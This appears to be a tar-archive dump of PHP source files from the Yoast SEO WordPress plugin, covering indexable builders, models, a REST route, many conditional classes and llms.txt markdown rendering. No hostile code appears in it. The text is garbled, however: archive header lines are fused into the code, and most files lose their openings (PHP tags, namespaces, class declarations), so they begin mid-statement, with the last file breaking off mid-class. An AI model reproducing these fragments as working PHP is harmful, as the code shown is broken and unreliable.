if ( \strpos( $home_url['host'], 'www.' ) === 0 && \strpos( $link, '://www.' ) === false ) {
$link = \str_replace( '://', '://www.', $link );
}
// Strip 'www.' if it is present and shouldn't be.
if ( \strpos( $home_url['host'], 'www.' ) !== 0 ) {
$link = \str_replace( '://www.', '://', $link );
}
return $link;
}
/**
* Updates incoming link counts for related indexables.
*
* @param int[] $related_indexable_ids The IDs of all related indexables.
*
* @return void
*/
protected function update_incoming_links_for_related_indexables( $related_indexable_ids ) {
if ( empty( $related_indexable_ids ) ) {
return;
}
$counts = $this->seo_links_repository->get_incoming_link_counts_for_indexable_ids( $related_indexable_ids );
/**
* Fires to signal that incoming link counts for related indexables were updated.
*
* @param int[] $related_indexable_ids The related indexable Ids to this link change.
*
* @internal
*/
\do_action( 'wpseo_related_indexables_incoming_links_updated', $related_indexable_ids );
foreach ( $counts as $count ) {
$this->indexable_repository->update_incoming_link_count( $count['target_indexable_id'], $count['incoming'] );
}
}
/**
* Updates the image ids when the indexable images are marked as first content image.
*
* @param Indexable $indexable The indexable to change.
* @param array $images The image array.
*
* @return void
*/
public function update_first_content_image( Indexable $indexable, array $images ): void {
$current_open_graph_image = $indexable->open_graph_image;
$current_twitter_image = $indexable->twitter_image;
$first_content_image_url = \key( $images );
$first_content_image_id = \current( $images );
if ( $indexable->open_graph_image_source === 'first-content-image' && $current_open_graph_image === $first_content_image_url && ! empty( $first_content_image_id ) ) {
$indexable->open_graph_image_id = $first_content_image_id;
}
if ( $indexable->twitter_image_source === 'first-content-image' && $current_twitter_image === $first_content_image_url && ! empty( $first_content_image_id ) ) {
$indexable->twitter_image_id = $first_content_image_id;
}
}
}
builders/indexable-author-builder.php 0000644 00000017125 15207625620 0013760 0 ustar 00 author_archive = $author_archive;
$this->version = $versions->get_latest_version_for_type( 'user' );
$this->options_helper = $options_helper;
$this->post_helper = $post_helper;
}
/**
* Formats the data.
*
* @param int $user_id The user to retrieve the indexable for.
* @param Indexable $indexable The indexable to format.
*
* @return Indexable The extended indexable.
*
* @throws Author_Not_Built_Exception When author is not built.
*/
public function build( $user_id, Indexable $indexable ) {
$exception = $this->check_if_user_should_be_indexed( $user_id );
if ( $exception ) {
throw $exception;
}
$meta_data = $this->get_meta_data( $user_id );
$indexable->object_id = $user_id;
$indexable->object_type = 'user';
$indexable->permalink = \get_author_posts_url( $user_id );
$indexable->title = $meta_data['wpseo_title'];
$indexable->description = $meta_data['wpseo_metadesc'];
$indexable->is_cornerstone = false;
$indexable->is_robots_noindex = ( $meta_data['wpseo_noindex_author'] === 'on' );
$indexable->is_robots_nofollow = null;
$indexable->is_robots_noarchive = null;
$indexable->is_robots_noimageindex = null;
$indexable->is_robots_nosnippet = null;
$indexable->is_public = ( $indexable->is_robots_noindex ) ? false : null;
$indexable->has_public_posts = $this->author_archive->author_has_public_posts( $user_id );
$indexable->blog_id = \get_current_blog_id();
$this->reset_social_images( $indexable );
$this->handle_social_images( $indexable );
$timestamps = $this->get_object_timestamps( $user_id );
$indexable->object_published_at = $timestamps->published_at;
$indexable->object_last_modified = $timestamps->last_modified;
$indexable->version = $this->version;
return $indexable;
}
/**
* Retrieves the meta data for this indexable.
*
* @param int $user_id The user to retrieve the meta data for.
*
* @return array List of meta entries.
*/
protected function get_meta_data( $user_id ) {
$keys = [
'wpseo_title',
'wpseo_metadesc',
'wpseo_noindex_author',
];
$output = [];
foreach ( $keys as $key ) {
$output[ $key ] = $this->get_author_meta( $user_id, $key );
}
return $output;
}
/**
* Retrieves the author meta.
*
* @param int $user_id The user to retrieve the indexable for.
* @param string $key The meta entry to retrieve.
*
* @return string|null The value of the meta field.
*/
protected function get_author_meta( $user_id, $key ) {
$value = \get_the_author_meta( $key, $user_id );
if ( \is_string( $value ) && $value === '' ) {
return null;
}
return $value;
}
/**
* Finds an alternative image for the social image.
*
* @param Indexable $indexable The indexable.
*
* @return array|bool False when not found, array with data when found.
*/
protected function find_alternative_image( Indexable $indexable ) {
$gravatar_image = \get_avatar_url(
$indexable->object_id,
[
'size' => 500,
'scheme' => 'https',
],
);
if ( $gravatar_image ) {
return [
'image' => $gravatar_image,
'source' => 'gravatar-image',
];
}
return false;
}
/**
* Returns the timestamps for a given author.
*
* @param int $author_id The author ID.
*
* @return object An object with last_modified and published_at timestamps.
*/
protected function get_object_timestamps( $author_id ) {
global $wpdb;
$post_statuses = $this->post_helper->get_public_post_statuses();
$replacements = [];
$replacements[] = 'post_modified_gmt';
$replacements[] = 'post_date_gmt';
$replacements[] = $wpdb->posts;
$replacements[] = 'post_status';
$replacements = \array_merge( $replacements, $post_statuses );
$replacements[] = 'post_password';
$replacements[] = 'post_author';
$replacements[] = $author_id;
//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
return $wpdb->get_row(
$wpdb->prepare(
'
SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
FROM %i AS p
WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
AND p.%i = ''
AND p.%i = %d
",
$replacements,
),
);
//phpcs:enable
}
/**
* Checks if the user should be indexed.
* Returns an exception with an appropriate message if not.
*
* @param string $user_id The user id.
*
* @return Author_Not_Built_Exception|null The exception if it should not be indexed, or `null` if it should.
*/
protected function check_if_user_should_be_indexed( $user_id ) {
$exception = null;
if ( $this->author_archive->are_disabled() ) {
$exception = Author_Not_Built_Exception::author_archives_are_disabled( $user_id );
}
// We will check if the author has public posts the WP way, instead of the indexable way, to make sure we get proper results even if SEO optimization is not run.
// In case the user has no public posts, we check if the user should be indexed anyway.
elseif ( $this->options_helper->get( 'noindex-author-noposts-wpseo', false ) === true && $this->author_archive->author_has_public_posts_wp( $user_id ) === false ) {
$exception = Author_Not_Built_Exception::author_archives_are_not_indexed_for_users_without_posts( $user_id );
}
/**
* Filter: Include or exclude a user from being build and saved as an indexable.
* Return an `Author_Not_Built_Exception` when the indexable should not be build, with an appropriate message telling why it should not be built.
* Return `null` if the indexable should be build.
*
* @param Author_Not_Built_Exception|null $exception An exception if the indexable is not being built, `null` if the indexable should be built.
* @param string $user_id The ID of the user that should or should not be excluded.
*/
return \apply_filters( 'wpseo_should_build_and_save_user_indexable', $exception, $user_id );
}
}
models/indexable-extension.php 0000644 00000001022 15207625620 0012505 0 ustar 00 indexable ??= $this->belongs_to( 'Indexable', 'indexable_id', 'id' )->find_one();
return $this->indexable;
}
}
models/indexable.php 0000644 00000012413 15207625621 0010502 0 ustar 00 loaded_extensions[ $class_name ] ) {
$this->loaded_extensions[ $class_name ] = $this->has_one( $class_name, 'indexable_id', 'id' )->find_one();
}
return $this->loaded_extensions[ $class_name ];
}
/**
* Enhances the save method.
*
* @return bool True on success.
*/
public function save() {
if ( $this->permalink ) {
$this->sanitize_permalink();
$this->permalink_hash = \strlen( $this->permalink ) . ':' . \md5( $this->permalink );
}
if ( \is_string( $this->primary_focus_keyword ) && \mb_strlen( $this->primary_focus_keyword ) > 191 ) {
$this->primary_focus_keyword = \mb_substr( $this->primary_focus_keyword, 0, 191, 'UTF-8' );
}
return parent::save();
}
/**
* Sanitizes the permalink.
*
* @return void
*/
protected function sanitize_permalink() {
if ( $this->permalink === 'unindexed' ) {
return;
}
$permalink_structure = \get_option( 'permalink_structure' );
$permalink_parts = \wp_parse_url( $this->permalink );
if ( ! isset( $permalink_parts['path'] ) ) {
$permalink_parts['path'] = '/';
}
if ( \substr( $permalink_structure, -1, 1 ) === '/' && \strpos( \substr( $permalink_parts['path'], -5 ), '.' ) === false ) {
$permalink_parts['path'] = \trailingslashit( $permalink_parts['path'] );
}
$permalink = '';
if ( isset( $permalink_parts['scheme'] ) ) {
$permalink .= $permalink_parts['scheme'] . '://';
}
if ( isset( $permalink_parts['host'] ) ) {
$permalink .= $permalink_parts['host'];
}
if ( isset( $permalink_parts['port'] ) ) {
$permalink .= ':' . $permalink_parts['port'];
}
if ( isset( $permalink_parts['path'] ) ) {
$permalink .= $permalink_parts['path'];
}
if ( isset( $permalink_parts['query'] ) ) {
$permalink .= '?' . $permalink_parts['query'];
}
// We never set the fragment as the fragment is intended to be client-only.
$this->permalink = $permalink;
}
}
models/indexable-hierarchy.php 0000644 00000001111 15207625621 0012447 0 ustar 00 options_helper = $options_helper;
}
/**
* Retrieves the timestamp.
*
* @param string $format The format in which to return the timestamp. Defaults to 'Y-m-d H:i:s'.
*
* @return ?string The timestamp when the user started using free sparks, or null if not set.
*/
public function get( string $format = 'Y-m-d H:i:s' ): ?string {
$timestamp = $this->options_helper->get( self::OPTION_KEY, null );
if ( $timestamp === null ) {
return null;
}
return \gmdate( $format, (int) $timestamp );
}
/**
* Registers the starting of the free sparks.
*
* @param ?int $timestamp The timestamp when the user started using free sparks. If null, the current time will be
* used.
*
* @return bool True if the operation was successful, false otherwise.
*/
public function start( ?int $timestamp = null ): bool {
return (bool) $this->options_helper->set( self::OPTION_KEY, ( $timestamp === null ) ? \time() : $timestamp, 'wpseo' );
}
}
ai-free-sparks/infrastructure/endpoints/free-sparks-endpoint.php 0000644 00000001672 15207625626 0021232 0 ustar 00 get_namespace() . $this->get_route() );
}
}
ai-free-sparks/user-interface/free-sparks-route.php 0000644 00000004522 15207625626 0016376 0 ustar 00 The conditionals.
*/
public static function get_conditionals() {
return [ AI_Conditional::class ];
}
/**
* Class constructor.
*
* @param Free_Sparks_Handler_Interface $free_sparks_handler The free sparks handler instance.
*/
public function __construct( Free_Sparks_Handler_Interface $free_sparks_handler ) {
$this->free_sparks_handler = $free_sparks_handler;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_PREFIX,
[
'methods' => 'POST',
'callback' => [ $this, 'start' ],
'permission_callback' => [ $this, 'can_edit_posts' ],
],
);
}
/**
* Runs the callback to start the free sparks.
*
* @return WP_REST_Response The response of the callback action.
*/
public function start(): WP_REST_Response {
$result = $this->free_sparks_handler->start( null );
if ( ! $result ) {
new WP_REST_Response( 'Failed to start free sparks.', 500 );
}
return new WP_REST_Response( 'Free sparks successfully started.' );
}
/**
* Checks whether the user is logged in and can edit posts.
*
* @return bool Whether the user is logged in and can edit posts.
*/
public function can_edit_posts(): bool {
$user = \wp_get_current_user();
if ( $user === null || $user->ID < 1 ) {
return false;
}
return \user_can( $user, 'edit_posts' );
}
}
conditionals/should-index-links-conditional.php 0000644 00000002026 15207625626 0016000 0 ustar 00 options_helper = $options_helper;
}
/**
* Returns `true` when the links on this website should be indexed.
*
* @return bool `true` when the links on this website should be indexed.
*/
public function is_met() {
$should_index_links = $this->options_helper->get( 'enable_text_link_counter' );
/**
* Filter: 'wpseo_should_index_links' - Allows disabling of Yoast's links indexation.
*
* @param bool $enable To disable the indexation, return false.
*/
return \apply_filters( 'wpseo_should_index_links', $should_index_links );
}
}
conditionals/user-can-manage-wpseo-options-conditional.php 0000644 00000000772 15207625626 0020054 0 ustar 00 on_upgrade_page() || \wp_installing() ) {
return false;
}
if ( $pagenow === 'admin.php' && isset( $_GET['page'] ) && \strpos( $_GET['page'], 'wpseo' ) === 0 ) {
return true;
}
$target_pages = [
'index.php',
'plugins.php',
'update-core.php',
'options-permalink.php',
];
return \in_array( $pagenow, $target_pages, true );
}
/**
* Checks if we are on a theme or plugin upgrade page.
*
* @return bool Whether we are on a theme or plugin upgrade page.
*/
private function on_upgrade_page() {
/*
* IFRAME_REQUEST is not defined on these pages,
* though these action pages do show when upgrading themes or plugins.
*/
$actions = [ 'do-theme-upgrade', 'do-plugin-upgrade', 'do-core-upgrade', 'do-core-reinstall' ];
return isset( $_GET['action'] ) && \in_array( $_GET['action'], $actions, true );
}
}
conditionals/ai-conditional.php 0000644 00000001222 15207625627 0012646 0 ustar 00 options = $options;
}
/**
* Returns `true` when Yoast AI is enabled.
*
* @return bool `true` when Yoast AI is enabled.
*/
public function is_met(): bool {
return $this->options->get( 'enable_ai_generator' ) === true;
}
}
conditionals/migrations-conditional.php 0000644 00000001457 15207625627 0014443 0 ustar 00 migration_status = $migration_status;
}
/**
* Returns `true` when all database migrations have been run.
*
* @return bool `true` when all database migrations have been run.
*/
public function is_met() {
return $this->migration_status->is_version( 'free', \WPSEO_VERSION );
}
}
conditionals/deactivating-yoast-seo-conditional.php 0000644 00000001302 15207625627 0016637 0 ustar 00 helpers->product->is_premium();
}
}
conditionals/updated-importer-framework-conditional.php 0000644 00000000637 15207625627 0017546 0 ustar 00 current_page_helper = $current_page_helper;
}
/**
* Returns `true` when on the admin dashboard, update or Yoast SEO pages.
*
* @return bool `true` when on the admin dashboard, update or Yoast SEO pages.
*/
public function is_met() {
if ( ! \is_admin() ) {
return false;
}
return $this->current_page_helper->is_yoast_seo_page();
}
}
conditionals/admin/non-network-admin-conditional.php 0000644 00000000642 15207625631 0016714 0 ustar 00 post_conditional = $post_conditional;
}
/**
* Returns whether this conditional is met.
*
* @return bool Whether the conditional is met.
*/
public function is_met() {
// phpcs:disable WordPress.Security.NonceVerification.Recommended,WordPress.Security.NonceVerification.Missing -- Reason: Nonce verification should not be done in a conditional but rather in the classes using the conditional.
// Check if we are in our Elementor ajax request (for saving).
if ( \wp_doing_ajax() && isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) {
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only strictly comparing the variable.
$post_action = \wp_unslash( $_POST['action'] );
if ( $post_action === 'wpseo_elementor_save' ) {
return true;
}
}
if ( ! $this->post_conditional->is_met() ) {
return false;
}
// We don't support Estimated Reading Time on the attachment post type.
if ( isset( $_GET['post'] ) && \is_string( $_GET['post'] ) ) {
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are casting to an integer.
$post_id = (int) \wp_unslash( $_GET['post'] );
if ( $post_id !== 0 && \get_post_type( $post_id ) === 'attachment' ) {
return false;
}
}
return true;
// phpcs:enable WordPress.Security.NonceVerification.Recommended,WordPress.Security.NonceVerification.Missing
}
}
conditionals/admin/post-conditional.php 0000644 00000001340 15207625631 0014326 0 ustar 00 options = $options;
}
/**
* Returns `true` whether the headless REST endpoints have been enabled.
*
* @return bool `true` when the headless REST endpoints have been enabled.
*/
public function is_met() {
return $this->options->get( 'enable_headless_rest_endpoints' );
}
}
conditionals/wp-robots-conditional.php 0000644 00000000525 15207625635 0014215 0 ustar 00 helpers->product->is_premium();
}
}
conditionals/conditional-interface.php 0000644 00000000452 15207625635 0014220 0 ustar 00 post_conditional = $post_conditional;
$this->current_page_helper = $current_page_helper;
$this->product_helper = $product_helper;
}
/**
* Returns `true` when the AI editor integration should be active.
*
* @return bool `true` when the AI editor integration should be active.
*/
public function is_met() {
if ( $this->is_attachment() ) {
return false;
}
if ( $this->is_ai_generator_premium() ) {
return false;
}
return $this->post_conditional->is_met() || $this->is_term() || $this->is_elementor_editor();
}
/**
* Returns `true` when the page is a term page.
*
* @return bool `true` when the page is a term page.
*/
private function is_term() {
return $this->current_page_helper->get_current_admin_page() === 'term.php';
}
/**
* Returns `true` when the page is the Elementor editor.
*
* @return bool `true` when the page is the Elementor editor.
*/
private function is_elementor_editor() {
if ( $this->current_page_helper->get_current_admin_page() !== 'post.php' ) {
return false;
}
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
if ( isset( $_GET['action'] ) && \is_string( $_GET['action'] ) ) {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing.
if ( \wp_unslash( $_GET['action'] ) === 'elementor' ) {
return true;
}
}
return false;
}
/**
* Is an attchment post type.
*
* @return bool
*/
public function is_attachment() {
return $this->current_page_helper->get_current_post_type() === 'attachment';
}
/**
* Is premium version containes AI generator. We exclude product post type because it is not supported in premium version before 25.6.
*
* @return bool
*/
public function is_ai_generator_premium() {
if ( ! $this->product_helper->is_premium() ) {
return false;
}
$premium_version = $this->product_helper->get_premium_version();
return \version_compare( $premium_version, '25.6-RC0', '<' ) && $this->current_page_helper->get_current_post_type() !== 'product';
}
}
conditionals/wp-cron-enabled-conditional.php 0000644 00000000537 15207625636 0015242 0 ustar 00 options = $options;
}
/**
* Returns whether this conditional is met.
*
* @return bool Whether the conditional is met.
*/
public function is_met() {
return $this->options->get( 'wincher_automatically_add_keyphrases' );
}
}
conditionals/woocommerce-version-conditional.php 0000644 00000001211 15207625637 0016256 0 ustar 00 =' );
}
}
conditionals/check-required-version-conditional.php 0000644 00000000570 15207625640 0016633 0 ustar 00 options = $options;
}
/**
* Returns `true` when the Open Graph feature is enabled.
*
* @return bool `true` when the Open Graph feature is enabled.
*/
public function is_met() {
return $this->options->get( 'opengraph' ) === true;
}
}
conditionals/user-can-publish-posts-and-pages-conditional.php 0000644 00000001036 15207625640 0020437 0 ustar 00 user_can_manage_wpseo_options_conditional = $user_can_manage_wpseo_options_conditional;
}
/**
* Returns whether or not this conditional is met.
*
* @return bool Whether or not the conditional is met.
*/
public function is_met() {
if ( ! $this->user_can_manage_wpseo_options_conditional->is_met() ) {
return false;
}
return true;
}
}
conditionals/user-edit-conditional.php 0000644 00000000751 15207625645 0014164 0 ustar 00 options = $options;
}
/**
* Returns whether the 'Redirect attachment URLs to the attachment itself' setting has been enabled.
*
* @return bool `true` when the 'Redirect attachment URLs to the attachment itself' setting has been enabled.
*/
public function is_met() {
return $this->options->get( 'disable-attachment' );
}
}
conditionals/addon-installation-conditional.php 0000644 00000000666 15207625645 0016054 0 ustar 00 front_end_conditional = $front_end_conditional;
}
/**
* Returns whether or not this conditional is met.
*
* @return bool Whether or not the conditional is met.
*/
public function is_met() {
return $this->front_end_conditional->is_met() || $this->is_file_editor_page();
}
/**
* Returns whether the current page is the file editor page.
*
* This checks for two locations:
* - Multisite network admin file editor page
* - Single site file editor page (under tools)
*
* @return bool
*/
protected function is_file_editor_page() {
global $pagenow;
if ( $pagenow !== 'admin.php' ) {
return false;
}
// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
if ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_files' && \is_multisite() && \is_network_admin() ) {
return true;
}
// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
if ( ! ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_tools' ) ) {
return false;
}
// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
if ( isset( $_GET['tool'] ) && $_GET['tool'] === 'file-editor' ) {
return true;
}
return false;
}
}
conditionals/schema-disabled-conditional.php 0000644 00000001317 15207625646 0015270 0 ustar 00 options = $options;
}
/**
* Returns `true` whether the schema is disabled.
*
* @return bool `true` when the schema is disabled.
*/
public function is_met() {
return $this->options->get( 'enable_schema', true ) === false;
}
}
conditionals/woocommerce-conditional.php 0000644 00000000634 15207625646 0014603 0 ustar 00 is_elementor_get_action() ) {
return true;
}
// Request for us saving a post/page in Elementor (submits our form via AJAX).
return \wp_doing_ajax() && $this->is_yoast_save_post_action();
}
/**
* Checks if the current request' GET action is 'elementor'.
*
* @return bool True when the GET action is 'elementor'.
*/
private function is_elementor_get_action(): bool {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
if ( ! isset( $_GET['action'] ) ) {
return false;
}
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
if ( ! \is_string( $_GET['action'] ) ) {
return false;
}
// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing.
return \wp_unslash( $_GET['action'] ) === 'elementor';
}
/**
* Checks if the current request' POST action is 'wpseo_elementor_save'.
*
* @return bool True when the POST action is 'wpseo_elementor_save'.
*/
private function is_yoast_save_post_action(): bool {
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
if ( ! isset( $_POST['action'] ) ) {
return false;
}
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
if ( ! \is_string( $_POST['action'] ) ) {
return false;
}
// phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing.
return \wp_unslash( $_POST['action'] ) === 'wpseo_elementor_save';
}
}
conditionals/third-party/w3-total-cache-conditional.php 0000644 00000000747 15207625647 0017254 0 ustar 00 client = $client;
}
/**
* Returns whether this conditional is met.
*
* @return bool Whether the conditional is met.
*/
public function is_met() {
return $this->client->has_valid_tokens();
}
}
conditionals/primary-category-conditional.php 0000644 00000003254 15207625647 0015564 0 ustar 00 current_page = $current_page;
}
/**
* Returns `true` when on the frontend,
* or when on the post overview, post edit or new post admin page,
* or when on additional admin pages, allowed by filter.
*
* @return bool `true` when on the frontend, or when on the post overview,
* post edit, new post admin page or additional admin pages, allowed by filter.
*/
public function is_met() {
if ( ! \is_admin() ) {
return true;
}
$current_page = $this->current_page->get_current_admin_page();
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
if ( $current_page === 'admin-ajax.php' && isset( $_POST['action'] ) && $_POST['action'] === 'wp-link-ajax' ) {
return true;
}
/**
* Filter: Adds the possibility to use primary category at additional admin pages.
*
* @param array $admin_pages List of additional admin pages.
*/
$additional_pages = \apply_filters( 'wpseo_primary_category_admin_pages', [] );
return \in_array( $current_page, \array_merge( [ 'edit.php', 'post.php', 'post-new.php' ], $additional_pages ), true );
}
}
conditionals/semrush-enabled-conditional.php 0000644 00000001343 15207625647 0015341 0 ustar 00 options = $options;
}
/**
* Returns whether or not this conditional is met.
*
* @return bool Whether or not the conditional is met.
*/
public function is_met() {
return $this->options->get( 'semrush_integration_active', false );
}
}
conditionals/development-conditional.php 0000644 00000000601 15207625647 0014601 0 ustar 00 options = $options;
}
/**
* Returns whether or not this conditional is met.
*
* @return bool Whether or not the conditional is met.
*/
public function is_met() {
return $this->options->get( 'wincher_integration_active', false );
}
}
conditionals/feature-flag-conditional.php 0000644 00000001617 15207625647 0014631 0 ustar 00 get_feature_flag() );
return \defined( 'YOAST_SEO_' . $feature_flag ) && \constant( 'YOAST_SEO_' . $feature_flag ) === true;
}
/**
* Returns the name of the feature flag.
* 'YOAST_SEO_' is automatically prepended to it and it will be uppercased.
*
* @return string the name of the feature flag.
*/
abstract protected function get_feature_flag();
/**
* Returns the feature name.
*
* @return string the name of the feature flag.
*/
public function get_feature_name() {
return $this->get_feature_flag();
}
}
conditionals/news-conditional.php 0000644 00000000550 15207625647 0013236 0 ustar 00 options = $options;
}
/**
* Returns whether the 'Task List' feature is enabled.
*
* @return bool `true` when the 'Task List' feature is enabled.
*/
public function is_met() {
return $this->options->get( 'enable_task_list' );
}
}
conditionals/text-formality-conditional.php 0000644 00000000661 15207625650 0015247 0 ustar 00 content_type_entry = $content_type_entry;
}
/**
* The array representation of this domain object.
*
* @return array
*/
public function to_array(): array {
return [
'id' => $this->content_type_entry->get_id(),
'title' => $this->content_type_entry->get_title(),
'slug' => $this->content_type_entry->get_slug(),
];
}
}
llms-txt/domain/available-posts/data-provider/data-interface.php 0000644 00000000715 15207625657 0021030 0 ustar 00
*/
public function to_array(): array;
}
llms-txt/domain/available-posts/data-provider/parameters.php 0000644 00000002101 15207625657 0020313 0 ustar 00 post_type = $post_type;
$this->search_filter = $search_filter;
}
/**
* Getter for the post type.
*
* @return string
*/
public function get_post_type(): string {
return $this->post_type;
}
/**
* Getter for the search filter.
*
* @return string
*/
public function get_search_filter(): string {
return $this->search_filter;
}
}
llms-txt/domain/available-posts/data-provider/available-posts-repository-interface.php 0000644 00000001222 15207625657 0025414 0 ustar 00
*/
private $data_container;
/**
* The constructor
*/
public function __construct() {
$this->data_container = [];
}
/**
* Method to add data.
*
* @param Data_Interface $data The data.
*
* @return void
*/
public function add_data( Data_Interface $data ) {
$this->data_container[] = $data;
}
/**
* Method to get all the data points.
*
* @return Data_Interface[] All the data points.
*/
public function get_data(): array {
return $this->data_container;
}
/**
* Converts the data points into an array.
*
* @return array The array of the data points.
*/
public function to_array(): array {
$result = [];
foreach ( $this->data_container as $data ) {
$result[] = $data->to_array();
}
return $result;
}
}
llms-txt/domain/file/llms-txt-permission-gate-interface.php 0000644 00000000701 15207625661 0020065 0 ustar 00 id = $id;
$this->title = $title;
$this->url = $url;
$this->description = $description;
$this->slug = $slug;
}
/**
* Gets the ID of the content type entry.
*
* @return int The ID of the content type entry.
*/
public function get_id(): int {
return $this->id;
}
/**
* Gets the title of the content type entry.
*
* @return string The title of the content type entry.
*/
public function get_title(): string {
return $this->title;
}
/**
* Gets the URL of the content type entry.
*
* @return string The URL of the content type entry.
*/
public function get_url(): string {
return $this->url;
}
/**
* Gets the description of the content type entry.
*
* @return string The description of the content type entry.
*/
public function get_description(): string {
return $this->description;
}
/**
* Gets the slug of the content type entry.
*
* @return string The slug of the content type entry.
*/
public function get_slug(): string {
return $this->slug;
}
/**
* Creates a new instance of the class from the provided Meta object.
*
* @param Meta $meta The Meta object containing the necessary data to construct the instance.
*
* @return self A new instance of the class.
*/
public static function from_meta( Meta $meta ): self {
return new self(
$meta->post->ID,
$meta->post->post_title,
$meta->canonical,
$meta->post->post_excerpt,
$meta->post->post_name,
);
}
/**
* Creates an instance of the class from a WordPress post object.
*
* @param WP_Post $post The WordPress post object.
* @param string $permalink The permalink of the post.
*
* @return self An instance of the class.
*/
public static function from_post( WP_Post $post, string $permalink ): self {
return new self(
$post->ID,
$post->post_title,
$permalink,
$post->post_excerpt,
$post->post_name,
);
}
}
llms-txt/domain/markdown/llms-txt-renderer.php 0000644 00000002230 15207625666 0015536 0 ustar 00 sections[] = $section;
}
/**
* Returns the sections.
*
* @return Section_Interface[]
*/
public function get_sections(): array {
return $this->sections;
}
/**
* Renders the items of the bucket.
*
* @return string
*/
public function render(): string {
if ( empty( $this->sections ) ) {
return '';
}
$rendered_sections = [];
foreach ( $this->sections as $section ) {
$section_content = $section->render();
if ( $section_content === '' ) {
continue;
}
$rendered_sections[] = $section->get_prefix() . $section_content . \PHP_EOL;
}
return \implode( \PHP_EOL, $rendered_sections );
}
}
llms-txt/domain/markdown/items/link.php 0000644 00000003064 15207625666 0014232 0 ustar 00 text = $text;
$this->anchor = $anchor;
$this->description = $description;
}
/**
* Renders the link item.
*
* @return string
*/
public function render(): string {
$description = ( $this->description !== '' ) ? ": $this->description" : '';
return "[$this->text]($this->anchor)$description";
}
/**
* Escapes the markdown content.
*
* @param param Markdown_Escaper $markdown_escaper The markdown escaper.
*
* @return void
*/
public function escape_markdown( Markdown_Escaper $markdown_escaper ): void {
$this->text = $markdown_escaper->escape_markdown_content( $this->text );
$this->description = $markdown_escaper->escape_markdown_content( $this->description );
$this->anchor = $markdown_escaper->escape_markdown_url( $this->anchor );
}
}
llms-txt/domain/markdown/items/item-interface.php 0000644 00000001062 15207625667 0016166 0 ustar 00 description = $description;
}
/**
* Returns the prefix of the description section.
*
* @return string
*/
public function get_prefix(): string {
return '> ';
}
/**
* Renders the description section.
*
* @return string
*/
public function render(): string {
return $this->description;
}
/**
* Escapes the markdown content.
*
* @param Markdown_Escaper $markdown_escaper The markdown escaper.
*
* @return void
*/
public function escape_markdown( Markdown_Escaper $markdown_escaper ): void {
$this->description = $markdown_escaper->escape_markdown_content( $this->description );
}
}
llms-txt/domain/markdown/sections/link-list.php 0000644 00000003422 15207625667 0015710 0 ustar 00 type = $type;
foreach ( $links as $link ) {
$this->add_link( $link );
}
}
/**
* Adds a link to the list.
*
* @param Link $link The link to add.
*
* @return void
*/
public function add_link( Link $link ): void {
$this->links[] = $link;
}
/**
* Returns the prefix of the link list section.
*
* @return string
*/
public function get_prefix(): string {
return '## ';
}
/**
* Renders the link item.
*
* @return string
*/
public function render(): string {
if ( empty( $this->links ) ) {
return '';
}
$rendered_links = [];
foreach ( $this->links as $link ) {
$rendered_links[] = '- ' . $link->render();
}
return $this->type . \PHP_EOL . \implode( \PHP_EOL, $rendered_links );
}
/**
* Escapes the markdown content.
*
* @param Markdown_Escaper $markdown_escaper The markdown escaper.
*
* @return void
*/
public function escape_markdown( Markdown_Escaper $markdown_escaper ): void {
$this->type = $markdown_escaper->escape_markdown_content( $this->type );
foreach ( $this->links as $link ) {
$link->escape_markdown( $markdown_escaper );
}
}
}
llms-txt/domain/markdown/sections/section-interface.php 0000644 00000000616 15207625667 0017406 0 ustar 00 intro_content = $intro_content;
foreach ( $intro_links as $link ) {
$this->add_link( $link );
}
}
/**
* Returns the prefix of the intro section.
*
* @return string
*/
public function get_prefix(): string {
return '';
}
/**
* Adds a link to the intro section.
*
* @param Link $link The link to add.
*
* @return void
*/
public function add_link( Link $link ): void {
$this->intro_links[] = $link;
}
/**
* Returns the content of the intro section.
*
* @return string
*/
public function render(): string {
if ( \count( $this->intro_links ) === 0 ) {
return $this->intro_content;
}
$rendered_links = \array_map(
static function ( $link ) {
return $link->render();
},
$this->intro_links,
);
$this->intro_content = \sprintf(
$this->intro_content,
...$rendered_links,
);
return $this->intro_content;
}
/**
* Escapes the markdown content.
*
* @param Markdown_Escaper $markdown_escaper The markdown escaper.
*
* @return void
*/
public function escape_markdown( Markdown_Escaper $markdown_escaper ): void {
foreach ( $this->intro_links as $link ) {
$link->escape_markdown( $markdown_escaper );
}
}
}
llms-txt/domain/markdown/sections/title.php 0000644 00000003017 15207625667 0015123 0 ustar 00 site_title = $site_title;
$this->site_tagline = $site_tagline;
}
/**
* Returns the prefix of the section.
*
* @return string
*/
